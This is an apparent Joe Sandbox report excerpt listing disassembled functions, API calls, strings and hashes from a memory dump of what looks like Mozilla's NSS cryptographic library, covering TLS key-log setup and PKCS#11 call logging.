PR_SetError.NSS3(00000000,00000000), ref: 6C724E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C724E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C724E71
free.MOZGLUE(00000000), ref: 6C724E7A
PR_Unlock.NSS3(?), ref: 6C724EA2
TlsGetValue.KERNEL32 ref: 6C724EC1
EnterCriticalSection.KERNEL32(?), ref: 6C724ED6
PR_Unlock.NSS3(?), ref: 6C724F01
free.MOZGLUE(00000000), ref: 6C724F2A

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: ffa6c30b81fb95ed89662691d55cae01e271309bfaeec44caa5d34fa00325239
Instruction ID: 58f8b2b79fcf8913291f2d82577a0f53e6a8438a9b0020075db01933be9fffa3
Opcode Fuzzy Hash: ffa6c30b81fb95ed89662691d55cae01e271309bfaeec44caa5d34fa00325239
Instruction Fuzzy Hash: 57B124B1E002059FEB10EF68D989AAA77B4BF4531CF044135ED1997B41EB38E964CBD1

Function 6C776E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C776BF7), ref: 6C776EB6

Part of subcall function 6C6D1240: TlsGetValue.KERNEL32(00000040,?,6C6D116C,NSPR_LOG_MODULES), ref: 6C6D1267
Part of subcall function 6C6D1240: EnterCriticalSection.KERNEL32(?,?,?,6C6D116C,NSPR_LOG_MODULES), ref: 6C6D127C
Part of subcall function 6C6D1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C6D116C,NSPR_LOG_MODULES), ref: 6C6D1291
Part of subcall function 6C6D1240: PR_Unlock.NSS3(?,?,?,?,6C6D116C,NSPR_LOG_MODULES), ref: 6C6D12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C81FC0A,6C776BF7), ref: 6C776ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C776EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C776EFC
PR_NewLock.NSS3 ref: 6C776F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C776F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C776BF7), ref: 6C776F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C776BF7), ref: 6C776F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C776BF7), ref: 6C776FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C776BF7), ref: 6C776FFD

Strings

SSLFORCELOCKS, xrefs: 6C776F2B
SSLKEYLOGFILE, xrefs: 6C776EB1
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C776F4F
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C776FDB
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C776EF7
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C776FF8

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 936ae41d4167864b0a90276a3564a86f13a02c410cc454207f7f0e97d5dee49b
Instruction ID: e6220f823e19873959ff16f5cd7dfdfb7cdc4dc0fb4f77f5a3075257bc67bdb8
Opcode Fuzzy Hash: 936ae41d4167864b0a90276a3564a86f13a02c410cc454207f7f0e97d5dee49b
Instruction Fuzzy Hash: 0DA11872A55DC887EF31563CCE0134932A2EB9732EF588779E831C6ED4DB799444C2A1

Function 6C718820 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptVerifyUpdate), ref: 6C718846
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C718874
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C718883

Part of subcall function 6C7FD930: PL_strncpyz.NSS3(?,?,?), ref: 6C7FD963

PR_LogPrint.NSS3(?,00000000), ref: 6C718899
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C7188BA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6C7188D3
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C7188EC
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6C718907
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6C718979

Strings

pPart = 0x%p, xrefs: 6C7188E7
*pulPartLen = 0x%x, xrefs: 6C718974
(CK_INVALID_HANDLE), xrefs: 6C71887C
pulPartLen = 0x%p, xrefs: 6C718902
C_DecryptVerifyUpdate, xrefs: 6C718841
pEncryptedPart = 0x%p, xrefs: 6C7188B5
hSession = 0x%x, xrefs: 6C71885E, 6C71886E
ulEncryptedPartLen = %d, xrefs: 6C7188CE

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptVerifyUpdate
API String ID: 1003633598-2764998763
Opcode ID: 57dc1fdb0917da3dd550aaa9410f3bc4db282befef6b049714214ebc75ef03db
Instruction ID: e5982bb8236753981c8fa0c2217048743a272424f81582c7b98921ec647ea76a
Opcode Fuzzy Hash: 57dc1fdb0917da3dd550aaa9410f3bc4db282befef6b049714214ebc75ef03db
Instruction Fuzzy Hash: 5D41C375606044EFDB20DF54DF8CB9A7BB5AB4231DF098435E818A7B11D734A918CBD2

Function 6C716D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C716D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C716DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C716DC3

Part of subcall function 6C7FD930: PL_strncpyz.NSS3(?,?,?), ref: 6C7FD963

PR_LogPrint.NSS3(?,00000000), ref: 6C716DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C716DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C716E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C716E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C716E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C716EB9

Strings

pulDigestLen = 0x%p, xrefs: 6C716E42
pData = 0x%p, xrefs: 6C716DF5
(CK_INVALID_HANDLE), xrefs: 6C716DBC
ulDataLen = %d, xrefs: 6C716E0E
C_Digest, xrefs: 6C716D81
*pulDigestLen = 0x%x, xrefs: 6C716EB4
hSession = 0x%x, xrefs: 6C716D9E, 6C716DAE
pDigest = 0x%p, xrefs: 6C716E27

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 787fd29b955c0f3fa6660f10babd22883cde11edb90a39262f1146a6fd35b2ab
Instruction ID: b486983f18dbc67dd5bf26d9b29b20c86b27882e247a2d1858d046663323801c
Opcode Fuzzy Hash: 787fd29b955c0f3fa6660f10babd22883cde11edb90a39262f1146a6fd35b2ab
Instruction Fuzzy Hash: 4B419135605004EBDB20EB64DE8DB9A3BB5EB4261DF088434E918E7B11DB34E959CBD2

Function 6C74E8C0 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6C74E853,?,FFFFFFFF,?,?,6C74B0CC,?,6C74B4A0,?,00000000), ref: 6C74E8D9

Part of subcall function 6C740D30: calloc.MOZGLUE ref: 6C740D50
Part of subcall function 6C740D30: TlsGetValue.KERNEL32 ref: 6C740D6D

Part of subcall function 6C74C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C74DAE2,?), ref: 6C74C6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6C74E972
PORT_ArenaMark_Util.NSS3(?), ref: 6C74E9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C74EA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C74EA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C74EA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C74EA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6C74EA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C74EACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6C74EB56
PK11_FreeSymKey.NSS3(00000000), ref: 6C74EBC2
SECOID_FindOID_Util.NSS3(?), ref: 6C74EBEC
free.MOZGLUE(00000000), ref: 6C74EC58

Strings

Stl, xrefs: 6C74E9CA, 6C74EAAB

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID: Stl
API String ID: 759478663-379333114
Opcode ID: d92248870d09dba8f2956eceb28e7d2b1ce99e99fd270e9dcb84640237462602
Instruction ID: 8fd793ad36fa8bd9da8c2b8960ea4118292fd69671df9a3731325375b52b4670
Opcode Fuzzy Hash: d92248870d09dba8f2956eceb28e7d2b1ce99e99fd270e9dcb84640237462602
Instruction Fuzzy Hash: 71C1A7B1E002099FEB00CF69DA84BAAB7F4BF05328F148479E91697B51E731E804CBD5

Function 6C7728C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6C775B40: PR_GetIdentitiesLayer.NSS3 ref: 6C775B56

TlsGetValue.KERNEL32 ref: 6C77290A
EnterCriticalSection.KERNEL32(00000001), ref: 6C77291E
TlsGetValue.KERNEL32 ref: 6C772937
EnterCriticalSection.KERNEL32(00000001), ref: 6C77294B
PR_EnterMonitor.NSS3(?), ref: 6C772966
PR_EnterMonitor.NSS3(?), ref: 6C7729AC
PR_ExitMonitor.NSS3(?), ref: 6C7729D1
PR_EnterMonitor.NSS3(?), ref: 6C7729F0
PR_EnterMonitor.NSS3(?), ref: 6C772A15
PR_EnterMonitor.NSS3(?), ref: 6C772A37
PR_ExitMonitor.NSS3(?), ref: 6C772A61
PR_ExitMonitor.NSS3(?), ref: 6C772A78
PR_ExitMonitor.NSS3(?), ref: 6C772A8F
PR_ExitMonitor.NSS3(?), ref: 6C772AA6

Part of subcall function 6C7A9440: TlsGetValue.KERNEL32 ref: 6C7A945B
Part of subcall function 6C7A9440: TlsGetValue.KERNEL32 ref: 6C7A9479
Part of subcall function 6C7A9440: EnterCriticalSection.KERNEL32 ref: 6C7A9495
Part of subcall function 6C7A9440: TlsGetValue.KERNEL32 ref: 6C7A94E4
Part of subcall function 6C7A9440: TlsGetValue.KERNEL32 ref: 6C7A9532
Part of subcall function 6C7A9440: LeaveCriticalSection.KERNEL32 ref: 6C7A955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6C772AF9
free.MOZGLUE(?), ref: 6C772B16
PR_Unlock.NSS3(?), ref: 6C772B6D
PR_Unlock.NSS3(?), ref: 6C772B80

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: adaaab3553bdddd6b228efd619c90bdac393f127fc6a11ae9a0a9c5c3d45b903
Instruction ID: e6b3ed005552f03726724b32c19c4bb2f477b018c375a2ef2b17099115c69be6
Opcode Fuzzy Hash: adaaab3553bdddd6b228efd619c90bdac393f127fc6a11ae9a0a9c5c3d45b903
Instruction Fuzzy Hash: DE81D3B1A007059BDB309F75ED49B97B7E5AF11308F044938E86AC7B11EB32E519CBA1

Function 6C738E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C738E01,00000000,6C739060,6C840B64), ref: 6C738E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C738E01,00000000,6C739060,6C840B64), ref: 6C738E9E
PORT_ArenaAlloc_Util.NSS3(6C840B64,00000001,?,?,?,?,6C738E01,00000000,6C739060,6C840B64), ref: 6C738EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C738E01,00000000,6C739060,6C840B64), ref: 6C738EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C738E01,00000000,6C739060,6C840B64), ref: 6C738ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C738E01,00000000,6C739060,6C840B64), ref: 6C738EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C738E01), ref: 6C738EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C840B64,6C840B64), ref: 6C738F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C738F3F

Part of subcall function 6C73A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C73A421,00000000,00000000,6C739826), ref: 6C73A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C73904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C738E76

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: b105b0af981f8fffb848d31bd0f85a9ca5dbb6c1f4f88da91fe972849d97f6e5
Instruction ID: e877b23d5d2f6f8c3867d3e3be63bdb279a45f4be32633cfd30b148414ccb536
Opcode Fuzzy Hash: b105b0af981f8fffb848d31bd0f85a9ca5dbb6c1f4f88da91fe972849d97f6e5
Instruction Fuzzy Hash: 7961C4B5D0012AABDB10CF55CE84AABB7B5FF94358F144129DC1CA7701EB35A915CBB0

Function 6C6E8E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E8E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C6E8E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C6E8EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C8118D0,?), ref: 6C6E8F03
PR_CallOnce.NSS3(6C842AA4,6C7412D0), ref: 6C6E8F19
PL_FreeArenaPool.NSS3(?), ref: 6C6E8F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6E8F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6E8F65
PL_FinishArenaPool.NSS3(?), ref: 6C6E8FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C6E8FFE
PR_CallOnce.NSS3(6C842AA4,6C7412D0), ref: 6C6E9012
PL_FreeArenaPool.NSS3(?), ref: 6C6E9024
PL_FinishArenaPool.NSS3(?), ref: 6C6E902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C6E903E

Strings

security, xrefs: 6C6E8EE7

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 07155ae291052deb18a2296de68f967e7786174d5bc2bc7974aba91264c071d3
Instruction ID: 09b72c8ed11636aa82c88ea74e4f8948898c7755475fa2b41011aeb4a0c42663
Opcode Fuzzy Hash: 07155ae291052deb18a2296de68f967e7786174d5bc2bc7974aba91264c071d3
Instruction Fuzzy Hash: 565146B160D300ABD6209A589D48BAB33A8AB8D75CF44482FF95497B50E331D909C757

Function 6C714E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C714E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C714EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C714EC7

Part of subcall function 6C7FD930: PL_strncpyz.NSS3(?,?,?), ref: 6C7FD963

PR_LogPrint.NSS3(?,00000000), ref: 6C714EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C714F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C714F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C714F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C714F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C714F68

Strings

pTemplate = 0x%p, xrefs: 6C714F4A
(CK_INVALID_HANDLE), xrefs: 6C714EC0, 6C714F13
hObject = 0x%x, xrefs: 6C714EF5, 6C714F05
ulCount = %d, xrefs: 6C714F63
C_GetAttributeValue, xrefs: 6C714E7E
hSession = 0x%x, xrefs: 6C714EA2, 6C714EB2

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: 0b6bdfe6e23e6d82e4219b3a8f23ad59da95eae587c735c81c152aa2e4b59a97
Instruction ID: 5b68b6649150a632a8b9f7afcc3632993cdae231e44c89af2ef80314849ab36d
Opcode Fuzzy Hash: 0b6bdfe6e23e6d82e4219b3a8f23ad59da95eae587c735c81c152aa2e4b59a97
Instruction Fuzzy Hash: D941C435609104ABDB10EF54DE8CF9A7BB9EB4230DF0C8434E918A7B11D734AD09DB96

Function 6C714CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C714CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C714D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C714D37

Part of subcall function 6C7FD930: PL_strncpyz.NSS3(?,?,?), ref: 6C7FD963

PR_LogPrint.NSS3(?,00000000), ref: 6C714D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C714D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C714D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C714DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C714DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C714E20

Strings

(CK_INVALID_HANDLE), xrefs: 6C714D30, 6C714D83
hObject = 0x%x, xrefs: 6C714D65, 6C714D75
*pulSize = 0x%x, xrefs: 6C714E1B
pulSize = 0x%p, xrefs: 6C714DB7
hSession = 0x%x, xrefs: 6C714D12, 6C714D22
C_GetObjectSize, xrefs: 6C714CEE

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: d0d1bb70d6020658f2308d5641668946c47c31952f044e3bc8620289e57e6d7c
Instruction ID: 0d64c05cd90f1b7c19053bfac3c34927456ba3d78729b8589c24d4f336557bae
Opcode Fuzzy Hash: d0d1bb70d6020658f2308d5641668946c47c31952f044e3bc8620289e57e6d7c
Instruction Fuzzy Hash: 5B41C571609104AFDB20AF50DF8DB6A3BB5EB5230DF088434E9189BB11D7349C49EB92

Function 6C712F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C712F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C712F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C712F63

Part of subcall function 6C7FD930: PL_strncpyz.NSS3(?,?,?), ref: 6C7FD963

PR_LogPrint.NSS3(?,00000000), ref: 6C712F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C712F9A
